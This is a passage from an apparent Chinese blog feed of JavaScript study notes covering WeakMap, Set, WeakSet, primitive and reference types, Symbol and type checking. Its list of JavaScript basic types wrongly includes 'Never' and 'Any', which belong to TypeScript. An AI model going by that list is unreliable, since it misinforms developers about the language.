</span></span><span class="line"><span class="cl">    <span class="nx">privateScope</span><span class="p">.</span><span class="nx">set</span><span class="p">(</span><span class="k">this</span><span class="p">,</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nx">hidden</span><span class="o">:</span> <span class="o">++</span><span class="nx">counter</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="p">});</span>
</span></span><span class="line"><span class="cl">  <span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="nx">Thing</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">showPublic</span> <span class="o">=</span> <span class="kd">function</span> <span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="k">this</span><span class="p">.</span><span class="nx">someProperty</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="nx">Thing</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">showPrivate</span> <span class="o">=</span> <span class="kd">function</span> <span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nx">privateScope</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="k">this</span><span class="p">).</span><span class="nx">hidden</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">};</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="k">typeof</span> <span class="nx">privateScope</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="c1">// &#34;undefined&#34;
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">thing</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Thing</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">thing</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="c1">// Thing {someProperty: &#34;foo&#34;}
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="nx">thing</span><span class="p">.</span><span class="nx">showPublic</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="c1">// &#34;foo&#34;
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="nx">thing</span><span class="p">.</span><span class="nx">showPrivate</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="c1">// 1
</span></span></span></code></pre></div><ul>
<li>常规写法</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">class</span> <span class="nx">Thing</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">static</span> <span class="err">#</span><span class="nx">counter</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="err">#</span><span class="nx">hidden</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="nx">constructor</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl">    <span class="k">this</span><span class="p">.</span><span class="nx">someProperty</span> <span class="o">=</span> <span class="s2">&#34;foo&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">this</span><span class="p">.</span><span class="err">#</span><span class="nx">hidden</span> <span class="o">=</span> <span class="o">++</span><span class="nx">Thing</span><span class="p">.</span><span class="err">#</span><span class="nx">counter</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="nx">showPublic</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="k">this</span><span class="p">.</span><span class="nx">someProperty</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="nx">showPrivate</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="k">this</span><span class="p">.</span><span class="err">#</span><span class="nx">hidden</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">thing</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="c1">// Thing {someProperty: &#34;foo&#34;}
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="nx">thing</span><span class="p">.</span><span class="nx">showPublic</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="c1">// &#34;foo&#34;
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="nx">thing</span><span class="p">.</span><span class="nx">showPrivate</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="c1">// 1
</span></span></span></code></pre></div><h3 id="作用二-关联元数据">作用二: 关联元数据</h3>
<ul>
<li>可用于将元数据与对象关联，而不影响对象的生命周期</li>
</ul>
<h3 id="作用三-缓存">作用三: 缓存</h3>
<ul>
<li>缺点:
<ul>
<li>只有当函数的输入是对象时才有效</li>
<li>即使输入不再传入，结果依然永远保留在缓存中</li>
</ul>
</li>
<li>更好的方法: 将 Map 与 WeakRef 对象配对使用</li>
</ul>
<h3 id="参考">参考</h3>
<ul>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/WeakMap"  target="_blank" rel="noopener" >WeakMap - JavaScript | MDN</a></li>
</ul>
<hr>
<h2 id="set">Set</h2>
<h3 id="概念-1">概念</h3>
<ul>
<li>“值的集合”（没有键）</li>
<li>每一个值只能出现一次</li>
</ul>
<h3 id="常用方法-1">常用方法</h3>
<ul>
<li><code>new Set(iterable)</code> —— 创建一个 set，如果提供了一个 iterable 对象（通常是数组），将会从数组里面复制值到 set 中。</li>
<li><code>set.add(value)</code> —— 添加一个值，返回 set 本身</li>
<li><code>set.delete(value)</code> —— 删除值，如果 value 在这个方法调用的时候存在则返回 true ，否则返回 false。</li>
<li><code>set.has(value)</code> —— 如果 value 在 set 中，返回 true，否则返回 false。</li>
<li><code>set.clear()</code> —— 清空 set。</li>
<li><code>set.size</code> —— 返回元素个数。</li>
</ul>
<h3 id="迭代-1">迭代</h3>
<ul>
<li><code>for..of</code></li>
<li><code>forEach</code>
<ul>
<li>回调函数有三个参数：一个 value，然后是 同一个值 valueAgain，最后是目标对象</li>
<li><strong>为了与 Map 兼容</strong></li>
</ul>
</li>
<li><code>set.keys()</code> —— 遍历并返回一个包含所有值的可迭代对象，</li>
<li><code>set.values()</code> —— 与<code>set.keys()</code>作用相同，这是为了兼容 Map，</li>
</ul>
<h3 id="作用">作用</h3>
<ul>
<li>数组去重：<code>Array.from(new Set(arr));</code></li>
</ul>
<h3 id="参考-1">参考</h3>
<ul>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Set"  target="_blank" rel="noopener" >Set - JavaScript | MDN</a></li>
</ul>
<hr>
<h2 id="weakset">WeakSet</h2>
<h3 id="概念-2">概念</h3>
<ul>
<li>可被垃圾回收的值的集合，包括对象和非全局注册的符号</li>
<li>WeakSet 中的值只能出现一次</li>
<li>WeakSet 是<strong>不可枚举</strong>的</li>
</ul>
<h3 id="作用一-检测循环引用">作用一: 检测循环引用</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="c1">// 对传入的 subject 对象内部存储的所有内容执行回调
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">function</span> <span class="nx">execRecursively</span><span class="p">(</span><span class="nx">fn</span><span class="p">,</span> <span class="nx">subject</span><span class="p">,</span> <span class="nx">_refs</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">WeakSet</span><span class="p">())</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="c1">// 避免无限递归
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">if</span> <span class="p">(</span><span class="nx">_refs</span><span class="p">.</span><span class="nx">has</span><span class="p">(</span><span class="nx">subject</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="nx">fn</span><span class="p">(</span><span class="nx">subject</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="k">typeof</span> <span class="nx">subject</span> <span class="o">===</span> <span class="s2">&#34;object&#34;</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">_refs</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="nx">subject</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="kr">const</span> <span class="nx">key</span> <span class="k">in</span> <span class="nx">subject</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nx">execRecursively</span><span class="p">(</span><span class="nx">fn</span><span class="p">,</span> <span class="nx">subject</span><span class="p">[</span><span class="nx">key</span><span class="p">],</span> <span class="nx">_refs</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">foo</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">foo</span><span class="o">:</span> <span class="s2">&#34;Foo&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nx">bar</span><span class="o">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">bar</span><span class="o">:</span> <span class="s2">&#34;Bar&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="p">},</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">foo</span><span class="p">.</span><span class="nx">bar</span><span class="p">.</span><span class="nx">baz</span> <span class="o">=</span> <span class="nx">foo</span><span class="p">;</span> <span class="c1">// 循环引用！
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">execRecursively</span><span class="p">((</span><span class="nx">obj</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">obj</span><span class="p">),</span> <span class="nx">foo</span><span class="p">);</span>
</span></span></code></pre></div><h3 id="作用二-储存-dom-节点">作用二: 储存 DOM 节点</h3>
<h3 id="用例">用例</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">ws</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">WeakSet</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">foo</span> <span class="o">=</span> <span class="p">{};</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">bar</span> <span class="o">=</span> <span class="p">{};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">ws</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="nx">foo</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nx">ws</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="nx">bar</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">ws</span><span class="p">.</span><span class="nx">has</span><span class="p">(</span><span class="nx">foo</span><span class="p">);</span> <span class="c1">// true
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">ws</span><span class="p">.</span><span class="nx">has</span><span class="p">(</span><span class="nx">bar</span><span class="p">);</span> <span class="c1">// true
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="nx">ws</span><span class="p">.</span><span class="k">delete</span><span class="p">(</span><span class="nx">foo</span><span class="p">);</span> <span class="c1">// 从 set 中删除 foo 对象
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">ws</span><span class="p">.</span><span class="nx">has</span><span class="p">(</span><span class="nx">foo</span><span class="p">);</span> <span class="c1">// false，foo 对象已经被删除了
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">ws</span><span class="p">.</span><span class="nx">has</span><span class="p">(</span><span class="nx">bar</span><span class="p">);</span> <span class="c1">// true，bar 依然存在
</span></span></span></code></pre></div><ul>
<li>注意，<code>foo !== bar</code>。尽管它们是相似的对象，但是它们不是同一个对象。因此，它们都可以被加入到集合中。</li>
</ul>
<h3 id="参考-2">参考</h3>
<ul>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/WeakSet"  target="_blank" rel="noopener" >WeakSet - JavaScript | MDN</a></li>
</ul>
<h2 id="参考-3">参考</h2>
<ul>
<li><a href="https://zh.javascript.info/map-set"  target="_blank" rel="noopener" >Map and Set（映射和集合）</a></li>
<li><a href="https://juejin.cn/post/7003533740341362719"  target="_blank" rel="noopener" >ES6新增引用类型：Map、WeakMap、Set、WeakSet前言 Map、WeakMap、Set、WeakSet作 - 掘金</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>JavaScript知识点整理之数据类型</title>
      <link>https://euds.org/2024/javascript_points_of_data_type/</link>
      <pubDate>Fri, 27 Sep 2024 23:34:14 +0800</pubDate>
      
      <guid>https://euds.org/2024/javascript_points_of_data_type/</guid>
      <description>自己学习过程中整理的关于JavaScript中数据类型的知识点</description>
      <content:encoded><![CDATA[<h2 id="基本类型值类型">基本类型(值类型)</h2>
<ol>
<li>数值（Number）：用于表示数字，包括整数和浮点数。</li>
<li>字符串（String）：用于表示文本，由单引号或双引号括起来的字符序列。</li>
<li>布尔值（Boolean）：用于表示逻辑值，只有两个取值，true和false。</li>
<li>空值（Null）：表示&quot;没有对象&quot;，即该处不应该有值; <code>typeof null === &quot;object&quot;</code></li>
<li>未定义（Undefined）：表示&quot;缺少值&quot;，就是此处应该有一个值，但是还没有定义
<ul>
<li>在ES5标准中，<code>undefined</code>被设置为不可写</li>
<li>但在其之前，<code>undefined</code>实际上是一个全局属性,可以被修改。所以babel会将其编译成<code>void 0</code>,来确保兼容性</li>
</ul>
</li>
<li>大整数（BigInt）：用于表示任意精度的整数，通常用于表示超出Number类型范围的整数。
<ul>
<li>不可以把 bigint 和常规数字类型混合使用</li>
<li>创建 bigint 的方式有两种：在一个整数字面量后面加 n 或者调用 BigInt 函数，该函数从字符串、数字等中生成 bigint</li>
</ul>
</li>
<li>符号（Symbol）：用于表示唯一的标识符。(ES6引入)</li>
<li>永远不会有返回值的类型（Never）：表示那些永远不会有返回值的函数的返回值类型。通常用于抛出异常或无限循环等情况。</li>
<li>任意类型（Any）：表示可以是任何类型的值，通常用于在编写代码时不确定变量的类型，或者需要处理多种类型的情况。</li>
</ol>
<h3 id="pattern">pattern</h3>
<ul>
<li>所有的内建对象都遵循相同的模式（pattern）：
<ol>
<li>方法都存储在 prototype 中（Array.prototype、Object.prototype、Date.prototype 等）。</li>
<li>对象本身只存储数据（数组元素、对象属性、日期）。</li>
</ol>
</li>
</ul>
<h3 id="参考">参考：</h3>
<ul>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Data_structures"  target="_blank" rel="noopener" >JavaScript 数据类型和数据结构 - JavaScript | MDN</a></li>
<li><a href="https://zh.javascript.info/bigint"  target="_blank" rel="noopener" >BigInt</a></li>
<li><a href="https://www.ruanyifeng.com/blog/2014/03/undefined-vs-null.html"  target="_blank" rel="noopener" >undefined与null的区别 - 阮一峰的网络日志</a></li>
</ul>
<hr>
<h2 id="null和undefined的区别">null和undefined的区别</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">animal</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">jumps</span><span class="o">:</span> <span class="kc">null</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span>
</span></span><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">rabbit</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">__proto__</span><span class="o">:</span> <span class="nx">animal</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nx">jumps</span><span class="o">:</span> <span class="kc">true</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">alert</span><span class="p">(</span> <span class="nx">rabbit</span><span class="p">.</span><span class="nx">jumps</span> <span class="p">);</span> <span class="c1">// true，来自于 rabbit
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="k">delete</span> <span class="nx">rabbit</span><span class="p">.</span><span class="nx">jumps</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">alert</span><span class="p">(</span> <span class="nx">rabbit</span><span class="p">.</span><span class="nx">jumps</span> <span class="p">);</span> <span class="c1">// null, 来自于animal
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="k">delete</span> <span class="nx">animal</span><span class="p">.</span><span class="nx">jumps</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">alert</span><span class="p">(</span> <span class="nx">rabbit</span><span class="p">.</span><span class="nx">jumps</span> <span class="p">);</span> <span class="c1">// undefined，不再有这样的属性存在
</span></span></span></code></pre></div><hr>
<h2 id="原始值">原始值</h2>
<h3 id="定义">定义</h3>
<p>在 JavaScript 中，原始值（原始数据类型）是一种既非对象也无方法或属性的数据。有 7 种原始数据类型：</p>
<ol>
<li>string</li>
<li>number</li>
<li>bigint</li>
<li>boolean</li>
<li>undefined</li>
<li>symbol</li>
<li>null</li>
</ol>
<h3 id="特点">特点</h3>
<ul>
<li>所有原始值都是不可变的，即它们的值不能被修改</li>
<li>基本类型没有方法，但仍然表现得像有方法一样。当在原始值上访问属性时，JavaScript 自动将值装入包装对象中，并访问该对象上的属性</li>
<li>可以任意地被创建，且没有生命周期，因此不能作为weakmap的键</li>
<li>特殊值 null 和 undefined 比较特殊。它们没有对象包装器，所以它们没有方法和属性。并且它们也没有相应的原型。</li>
</ul>
<h3 id="参考-1">参考:</h3>
<ul>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Glossary/Primitive"  target="_blank" rel="noopener" >原始值 - MDN Web 文档术语表：Web 相关术语的定义 | MDN</a></li>
</ul>
<hr>
<h2 id="symbol">Symbol</h2>
<ul>
<li>Symbol 同时是 JavaScript 里最特殊和最不特殊的东西了。</li>
</ul>
<h3 id="最特殊">最特殊</h3>
<ul>
<li>代码</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">Symbol</span><span class="p">(</span><span class="s1">&#39;foo&#39;</span><span class="p">)</span> <span class="o">===</span> <span class="nx">Symbol</span><span class="p">(</span><span class="s1">&#39;foo&#39;</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">  <span class="c1">// false
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="kr">const</span> <span class="nx">symbolOne</span> <span class="o">=</span> <span class="nx">Symbol</span><span class="p">(</span><span class="s1">&#39;foo&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">symbolTwo</span> <span class="o">=</span> <span class="nx">Symbol</span><span class="p">(</span><span class="s1">&#39;foo&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">symbolOne</span> <span class="o">===</span> <span class="nx">symbolTwo</span><span class="p">);</span> <span class="c1">// false
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="kr">const</span> <span class="nx">obj</span> <span class="o">=</span> <span class="p">{};</span>
</span></span><span class="line"><span class="cl">  <span class="nx">obj</span><span class="p">[</span><span class="nx">symbolOne</span><span class="p">]</span> <span class="o">=</span> <span class="s1">&#39;hello&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">obj</span><span class="p">[</span><span class="nx">symbolTwo</span><span class="p">]);</span> <span class="c1">// undefined
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">obj</span><span class="p">[</span><span class="nx">symbolOne</span><span class="p">]);</span> <span class="c1">// &#39;hello&#39;
</span></span></span></code></pre></div><ul>
<li>传给 Symbol 构造器的字符串只是对它的一个描述，同一个领域下面同一个描述的 symbol 也是独特的。</li>
</ul>
<h3 id="最不特殊">最不特殊</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">symbolOne</span> <span class="o">=</span> <span class="nx">Symbol</span><span class="p">.</span><span class="k">for</span><span class="p">(</span><span class="s1">&#39;foo&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">symbolTwo</span> <span class="o">=</span> <span class="nx">Symbol</span><span class="p">.</span><span class="k">for</span><span class="p">(</span><span class="s1">&#39;foo&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">symbolOne</span> <span class="o">===</span> <span class="nx">symbolTwo</span><span class="p">);</span> <span class="c1">// true
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="kr">const</span> <span class="nx">obj</span> <span class="o">=</span> <span class="p">{};</span>
</span></span><span class="line"><span class="cl">  <span class="nx">obj</span><span class="p">[</span><span class="nx">symbolOne</span><span class="p">]</span> <span class="o">=</span> <span class="s1">&#39;hello&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">obj</span><span class="p">[</span><span class="nx">symbolTwo</span><span class="p">]);</span> <span class="c1">// &#39;hello&#39;
</span></span></span></code></pre></div><ul>
<li>Symbol.for(str) 新建了一个根据你字符串唯一的 symbol 对象。重点是，跨了领域之后，它还是一样的。。</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">iframe</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">querySelector</span><span class="p">(</span><span class="s1">&#39;iframe&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">iframeWindow</span> <span class="o">=</span> <span class="nx">iframe</span><span class="p">.</span><span class="nx">contentWindow</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">Symbol</span><span class="p">.</span><span class="k">for</span><span class="p">(</span><span class="s1">&#39;foo&#39;</span><span class="p">)</span> <span class="o">===</span> <span class="nx">iframeWindow</span><span class="p">.</span><span class="nx">Symbol</span><span class="p">.</span><span class="k">for</span><span class="p">(</span><span class="s1">&#39;foo&#39;</span><span class="p">));</span> <span class="c1">// true
</span></span></span></code></pre></div><h3 id="参考-2">参考</h3>
<ul>
<li><a href="https://segmentfault.com/a/1190000021089487"  target="_blank" rel="noopener" >javascript - [译] isArray 背后发生了什么？ - 梦里一路飞奔 - SegmentFault 思否</a></li>
</ul>
<hr>
<h2 id="引用数据类型对象类型">引用数据类型(对象类型)</h2>
<h3 id="包括">包括</h3>
<ol>
<li>Object</li>
<li>Array</li>
<li>Function</li>
<li>Date</li>
<li>RegExp</li>
</ol>
<p>ES6新增</p>
<ol>
<li>Map</li>
<li>WeakMap</li>
<li>Set</li>
<li>WeakSet</li>
</ol>
<h3 id="array-和object的关系">Array 和object的关系</h3>
<p>数组在内部也是对象，但它的原型是<code>Array.prototype</code></p>
<h3 id="和原始类型的区别">和原始类型的区别</h3>
<ul>
<li>定义方式不同：原始类型（如数字、字符串、布尔值、null和undefined）是直接赋值给变量的，而引用类型（如对象、数组和函数）是通过引用赋值给变量的。</li>
<li>存储方式不同：原始类型的值直接存储在栈中，而引用类型的值存储在堆内存中，然后在栈中保存对该内存地址的引用。</li>
<li>比较方式不同：原始类型的比较是按值进行的，即比较它们的实际值是否相等；而引用类型的比较是按引用进行的，即比较它们是否指向同一内存地址。</li>
<li>传递方式不同：将原始类型的值赋给新变量时，会复制该值；而将引用类型的值赋给新变量时，只会复制指向该值的引用。</li>
</ul>
<hr>
<h2 id="类型判断">类型判断</h2>
<h3 id="typeof"><code>typeof</code>:</h3>
<ul>
<li>用于检查变量的数据类型。它返回一个表示变量类型的字符串</li>
<li>示例
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">a</span> <span class="o">=</span> <span class="p">{};</span>
</span></span><span class="line"><span class="cl"><span class="k">typeof</span> <span class="nx">a</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="c1">//&#39;object&#39;
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">let</span> <span class="nx">b</span> <span class="o">=</span> <span class="p">[];</span>
</span></span><span class="line"><span class="cl"><span class="k">typeof</span> <span class="nx">b</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="c1">//&#39;object&#39;
</span></span></span></code></pre></div></li>
<li>缺点: 只能检测8种: es5的string，boolean，number，function，object，undefined es6的symbol，以及最新的bigint</li>
<li>历史遗留问题
<ul>
<li>在 JavaScript 的早期版本中，值的内部类型使用了一个 32 位的标识符，其中某些位被用于表示类型。对于对象和 null，这个标识符的值是相同的，导致 typeof null 返回 &lsquo;object&rsquo;
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="k">typeof</span> <span class="kc">null</span> <span class="o">===</span> <span class="s2">&#34;object&#34;</span> <span class="c1">//true
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">typeof</span> <span class="kc">null</span> <span class="o">!==</span> <span class="s2">&#34;null&#34;</span> <span class="c1">// true
</span></span></span></code></pre></div></li>
</ul>
</li>
</ul>
<h3 id="instance-of"><code>instance of</code>:</h3>
<ul>
<li>用于检查一个对象是否是另一个对象的实例，或者是否属于某个类的实例</li>
<li>示例
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">class</span> <span class="nx">Animal</span> <span class="p">{}</span>
</span></span><span class="line"><span class="cl"><span class="kr">class</span> <span class="nx">Dog</span> <span class="kr">extends</span> <span class="nx">Animal</span> <span class="p">{}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">dog</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Dog</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">dog</span> <span class="k">instanceof</span> <span class="nx">Dog</span><span class="p">);</span> <span class="c1">// 返回 true
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">dog</span> <span class="k">instanceof</span> <span class="nx">Animal</span><span class="p">);</span> <span class="c1">// 返回 true
</span></span></span></code></pre></div></li>
</ul>
<h3 id="objecttostringcall"><code>Object.toString.call</code></h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="nb">Object</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">toString</span><span class="p">.</span><span class="nx">call</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="c1">// &#34;[object Number]&#34;
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="nb">Object</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">toString</span><span class="p">.</span><span class="nx">call</span><span class="p">(</span><span class="s1">&#39;hi&#39;</span><span class="p">)</span> <span class="c1">// &#34;[object String]&#34;
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
